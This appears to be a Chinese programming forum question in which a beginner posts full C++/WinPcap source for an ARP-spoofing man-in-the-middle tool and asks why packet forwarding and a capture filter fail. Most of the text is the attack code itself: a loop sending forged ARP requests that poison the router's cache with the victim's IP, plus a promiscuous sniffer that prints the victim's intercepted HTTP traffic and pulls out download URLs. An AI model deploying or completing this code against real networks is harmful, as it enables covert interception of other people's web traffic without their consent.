基于winpcap的arp中间人攻击(使用C++),目前无法转发数据包 3C

为了方便叙述,称目标机器为B机器。本机为A机器。

实现思路如下:

A机器一直向路由发送arp请求包,问路由的MAC地址,但是arp包里的发送方IP是B机器的,这样就完成了欺骗路由。达到获取B机器数据返回包的目的。

我程序抓包时候解析包了,判断出来HTTP包打印到屏幕上

目前可以成功的看到B机器打开网站后,从路由返回过来的HTTP包

现在的问题主要有两个:

1.设置过滤器的问题

利用winpcap设置过滤器后,就看不到B机器的包了,不知道是不是过滤器语法有问题。但是编译语法时候也没提示错误。

过滤语法如下:

dst host 192.168.1.100(这是B的IP地址)
下面放上代码,本人菜鸟,写的很渣,还请各位大牛不吝赐教啊!

编译环境:VC6.0+WIN7+winpcap4.x

1个回答

arp.cpp


#define REMOTE
#define _W64
#include "pcap.h"
#include "ARPfunc.h"
#include <process.h>

#pragma comment(lib,"wpcap")
#pragma comment(lib,"ws2_32")

/*
    两个线程函数
    函数名:ARPspoofing
    功能:实现arp欺骗
    参数:一个ARP数据包的对象
    发送速率在函数内控制
*/
unsigned int __stdcall ARPspoofing(void *param);

int main()
{
    ARPdata data = ARP::filtpacket();
    HardInfo h = SelectNethard();
    ARP arp(&h,data);
    HANDLE WaitHandle[2];
    WaitHandle[0] = (HANDLE)_beginthreadex(NULL,0,ARPspoofing,(void *)&arp,0,NULL);
    //WaitHandle[1] = (HANDLE)_beginthreadex(NULL,0,ARPspoofing,(void *)&arp,0,NULL);
    HardWare hardware(&h);
    char filter[] = "dst host 192.168.1.110";

    hardware.setfilter(filter);
    hardware.startSniff();
    WaitForSingleObject(WaitHandle[0],INFINITE);
    return 0;
}




unsigned int __stdcall ARPspoofing(void *param)
{
    ARP *arp = (ARP *)param;
    while(1)
    {
        arp->send_packet();
        Sleep(1000);
    }

}
//ARPfunc.h
#include <iostream>
#include "ARPinit.h"
using namespace std;
/**********************************************
    函数名:PrintNethard
    功能:  打印网卡
***********************************************/
int caonima = 0;
HardInfo SelectNethard()
{
    caonima++;
    HardInfo hardinfo;
    pcap_t *handle;//打开网卡的句柄
    pcap_if_t *Devs;
    pcap_if_t *i;
    char Errbufer[256];
    if(-1 == pcap_findalldevs(&Devs,Errbufer))
    {
        cout<<"获取网卡出错,错误信息: %s"<<Errbufer;
        exit(1);
    }
    int index = 0;
    for(i = Devs; i ;i = i->next)
    {
        cout<<index<<": "<<i->name;
        if (i->description)
        {
            cout<<"<"<<i->description<<">\n";
        }
        else
        {
            cout<<"<"<<"No description"<<">\n";
        }
        index++;
    }
    if(index == 0)
    {
        cout<<"找不到网卡,请查看一下Winpcap是否装了"<<endl;
        exit(1);
    }
    cout<<"请输入正在工作的网卡的序号:";
    int num = 0;
check:cin>>num;
    if(num<0 || num>index)
    {
        cout<<"无此序号的网卡,请重新输入";
        goto check;
    }
    for (i=Devs; num; num--,i=i->next);
    hardinfo.Mydev = i;
    if ((handle = pcap_open_live(i->name,                       //设备名
                            65536,                      //确保可以收到所有包
                            1,  //混杂模式
                            1000,                       //读取超时时间,有空要看看这里的非阻塞模式:)
                            Errbufer                    //错误缓存区

        ))==NULL)                                       //如果返回NULL打开失败,要进行后续操作
    {
        //打开网卡失败
          pcap_freealldevs(Devs);                       //释放设备
          exit(1);                                      //退出
    }
    //打开成功,返回打开后的句柄
    hardinfo.handle = handle;
    //pcap_freealldevs(Devs);
    return hardinfo;
}



/**********************************************
    HardWare类函数实现
***********************************************/
HardWare::HardWare(HardInfo *hardinfo)
{
    //构造函数暂时先这么写
    this->handle = hardinfo->handle;
    this->myDev = hardinfo->Mydev;
}


//发送函数
void HardWare::send_packet(u_char *buffer,int size)
{
    if(pcap_sendpacket(handle,buffer,size) != 0)
    {
        cout<<"发送数据包失败! 失败原因:"<<pcap_geterr(handle)<<endl;
    }

}

//设置过滤器
void HardWare::setfilter(char *packet_filter)
{
    u_long netmask;
    struct bpf_program fcode;
    if(pcap_datalink(handle) != DLT_EN10MB)
    {
        cout<<"该程序只适用于以太网"<<endl;
        exit(1);
    }
    if (myDev->addresses != NULL)
    {
        netmask=((struct sockaddr_in *)(myDev->addresses->netmask))->sin_addr.S_un.S_addr;

    }
    else
    {
        netmask = 0xffffff;     //这里不懂
    }

    while(true)
    {
        if(pcap_compile(handle,&fcode,packet_filter,1,netmask) < 0)
        {
            cout<<"过滤指令编译出错,请重新输入";
            fflush(stdin);
            gets(packet_filter);
            fflush(stdin);
            cout<<"\n";
            continue;       
        }
        else
        {
            break;
        }

    }
    if(pcap_setfilter(handle,&fcode) < 0 )
    {
        cout<<"过滤器设置失败,程序退出\n";
        exit(1);
    }
}


//开始嗅探
void HardWare::startSniff()
{
    EtherHead *Etherhead;
    IpHead *IPhead;
    struct pcap_pkthdr *PacketHeader;
    const u_char *PacketData;
    while (int result = pcap_next_ex(handle,&PacketHeader,&PacketData))
    {
        if(result == 0)
            continue;               //捕获超时继续捕获
        Etherhead = (EtherHead *)PacketData;
        if(Etherhead->Type == htons(ETHERTYPE_IP))
        {
            //确定是IP包,获取IP包头
            IPhead = (IpHead *)(PacketData+14);
            if(IPhead->proto == htons(TCP_PROTOCAL))
            {
                //确定是TCP包
                char *p = (char *)IPhead+40;
                int len = IPhead->tlen;
                BOOL find_http = false;
                for(int n=0; n<len; n++)
                {
                    if(!find_http && ((n+3<len && strncmp((p+n),"GET",strlen("GET")) ==0 )
                        || (n+4<len && strncmp((p+n),"POST",strlen("POST")) == 0)) )
                    {
                        find_http = true;
                        break;
                    }
                    // http response 
                    if(!find_http && n+8<len && strncmp((p+n),"HTTP/1.1",strlen("HTTP/1.1"))==0)
                    {
                        find_http = true;
                        break;
                    }
                }
                if(find_http)
                {
                    char buffer[BUFFER_MAX_LENGTH]={0};
                    strcpy(buffer,p+n);
                    int http_len = strlen(buffer);
                    for (int i=0; i<http_len; i++)
                    {
                        if ( i+8<len && strncmp(buffer+i,"Location",strlen("Location"))==0)
                        {
                            char location[256] = {0};
                            for (int j=i;j<http_len;j++)
                            {
                                //location[j-i] = buffer[j];
                                if(j+3 <= http_len && strncmp(buffer+j,"exe",strlen("exe"))==0)
                                {
                                    //exe程序
                                    //提取出来location地址 同时去掉http包最后的几个字符
                                    strncpy(location,buffer+i+10,strlen(buffer+i+8)-16);
                                    cout<<location<<endl;
                                    cout<<"\n****************************************\n\n";

                                }
                            }
                        }
                    }
                    cout<<buffer<<endl;
                    cout<<"\n****************************************\n\n";
                    u_char *s = (u_char *)PacketData;
                    EtherHead *send = (EtherHead *)PacketData;
                    send->TargetMac.byte1 = 0xEC;
                    send->TargetMac.byte2 = 0x0E;
                    send->TargetMac.byte3 = 0xC4;
                    send->TargetMac.byte4 = 0x61;
                    send->TargetMac.byte5 = 0xB4;
                    send->TargetMac.byte6 = 0xED;

                    if(pcap_sendpacket(this->handle,(u_char *)s,sizeof(s)) != 0)
                    {
                        cout<<"发送包失败! 失败原因:"<<pcap_geterr(handle)<<endl;
                    }

                }           

            }
        }
    }
}





/**********************************************
    ARP类的函数实现
***********************************************/
//ARP包构造函数
ARP::ARP(HardInfo *h,ARPdata D):HardWare(h)
{
    data = D;
}

//重写arp的send_packet
void ARP::send_packet()
{
    if(pcap_sendpacket(handle,(u_char *)&data,sizeof(data)) != 0)
    {
        cout<<"发送arp包失败! 失败原因:"<<pcap_geterr(handle)<<endl;
    }

}

/*
    函数名:FillPacket
    功能:填充arp数据包
*/
ARPdata ARP::filtpacket()
{
    ARPdata ARPH;
    //制作etherner头
    ARPH.etherhead.TargetMac.byte1 = 0xFF; 
    ARPH.etherhead.TargetMac.byte2 = 0xFF; 
    ARPH.etherhead.TargetMac.byte3 = 0xFF;
    ARPH.etherhead.TargetMac.byte4 = 0xFF; 
    ARPH.etherhead.TargetMac.byte5 = 0xFF; 
    ARPH.etherhead.TargetMac.byte6 = 0xFF; //目标MAC地址

    ARPH.etherhead.SelfMac.byte1 = 0x30; 
    ARPH.etherhead.SelfMac.byte2 = 0x3A; 
    ARPH.etherhead.SelfMac.byte3 = 0x64;
    ARPH.etherhead.SelfMac.byte4 = 0x62; 
    ARPH.etherhead.SelfMac.byte5 = 0x22; 
    ARPH.etherhead.SelfMac.byte6 = 0x71; //源MAC地址

    ARPH.etherhead.Type = htons(0x0806);//协议类型为ARP

    //制作etherner头 结束

    //制作arp头 开始
    ARPH.HardwareType =htons(0x0001);//10M Ethernet

    ARPH.ProtocolType =htons(0x0800);//协议类型为IP

    ARPH.HardwareSize = 6 ; //硬件地址长度

    ARPH.ProtocolSize = 4 ; //IP地址长度

    ARPH.Opcode = htons(0x0001) ; //请求操作  

    //初始化三层ARP的MAC地址
    ARPH.SelfMac.byte1 = 0x30; 
    ARPH.SelfMac.byte2 = 0x3A; 
    ARPH.SelfMac.byte3 = 0x64;
    ARPH.SelfMac.byte4 = 0x62; 
    ARPH.SelfMac.byte5 = 0x22;
    ARPH.SelfMac.byte6 = 0x71; //Sender MAC地址

    ARPH.SelfIp.byte1=192;
    ARPH.SelfIp.byte2=168;
    ARPH.SelfIp.byte3=1;
    ARPH.SelfIp.byte4=110;                      //Sender IP地址 
    //////////////////////////


    ARPH.TargetMac.byte1 = 0x00; 
    ARPH.TargetMac.byte2 = 0x00; 
    ARPH.TargetMac.byte3 = 0x00;
    ARPH.TargetMac.byte4 = 0x00; 
    ARPH.TargetMac.byte5 = 0x00; 
    ARPH.TargetMac.byte6 = 0x00; //Target MAC地址


    ARPH.TargetIp.byte1=192;
    ARPH.TargetIp.byte2=168;
    ARPH.TargetIp.byte3=1;
    ARPH.TargetIp.byte4=1;       //Target IP地址


    //填充pad
    //这里的PAD不知道干什么用的 抓包没有看到pad部分

    for(int i=0;i<18;i++)
    {
        ARPH.padding[i]=0;
    }
    return ARPH;
};
//ARPinit.h
#include <iostream>

#define ETHER_ADDR_LEN 6 /* ethernet address */
#define ETHERTYPE_IP 0x0800 /* IP标志 */
#define TCP_PROTOCAL 0x0600 /* TCP标志 */
#define BUFFER_MAX_LENGTH 65536 /* 最大长度 */

struct HardInfo{
    pcap_t *handle;
    pcap_if_t *Mydev;
};
struct MacAddress{
    u_char byte1,byte2,byte3,byte4,byte5,byte6;
};
struct IpAddress{
    u_char byte1,byte2,byte3,byte4;
};
//以太网头
struct EtherHead{
    MacAddress TargetMac;   //目标MAC地址
    MacAddress SelfMac;     //源MAC地址
    WORD Type;              //帧类型
};
//ip包头
struct IpHead{
       u_char ver_ihl;         /* version and ip header length */
       u_char tos;             /* type of service */
       u_short tlen;           /* total length */
       u_short identification; /* identification */
       u_short flags_fo;       // flags and fragment offset
       u_char ttl;             /* time to live */
       u_char proto;           /* protocol */
       u_short crc;            /* header checksum */
       IpAddress selfip;       /* source address */
       IpAddress targetip;       /* destination address */
       u_int op_pad;           /* option and padding */
};
//ARP数据包
struct ARPdata{
    EtherHead etherhead;    //以太网头部
    WORD HardwareType;      //硬件类型
    WORD ProtocolType;      //协议类型
    u_char HardwareSize;    //硬件地址长度
    u_char ProtocolSize;    //协议地址长度
    WORD Opcode;            //OP,操作码 控制是request还是replay
    MacAddress SelfMac;     //发送方MAC地址
    IpAddress SelfIp;       //发送方IP地址
    MacAddress TargetMac;   //目标MAC地址
    IpAddress TargetIp;     //目标IP地址
    BYTE   padding[18];     //填充0   不知道干啥用的

};



/*
    函数声明
    函数实现在ARPfunc.h里面
*/

HardInfo SelectNethard ();          //打印网卡列表,便于用户选择,返回值为打开网卡返回的句柄


/*
    HardWare类
    用于初始化一个网卡,并且具有监听和发送功能
*/
class HardWare{
    public:
        HardWare(HardInfo *hardinfo);

        void send_packet(u_char *buffer,int size);
        void setfilter(char *packet_filter);
        void startSniff();


    protected:
        pcap_t *handle;     //打开网卡句柄,希望可以在派生类中访问handle
        pcap_if_t *myDev;   //硬件句柄
};






/*
    ARP类:描述一个arp数据包的格式
*/
class ARP:public HardWare{
    public:
        static ARPdata filtpacket();
        ARPdata data;           //ARP包的DATA部分
        ARP(HardInfo *h,ARPdata D);
        void send_packet();


};
qq_43138543
qq_43138543 不错 挺好的
一年多之前 回复
Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
立即提问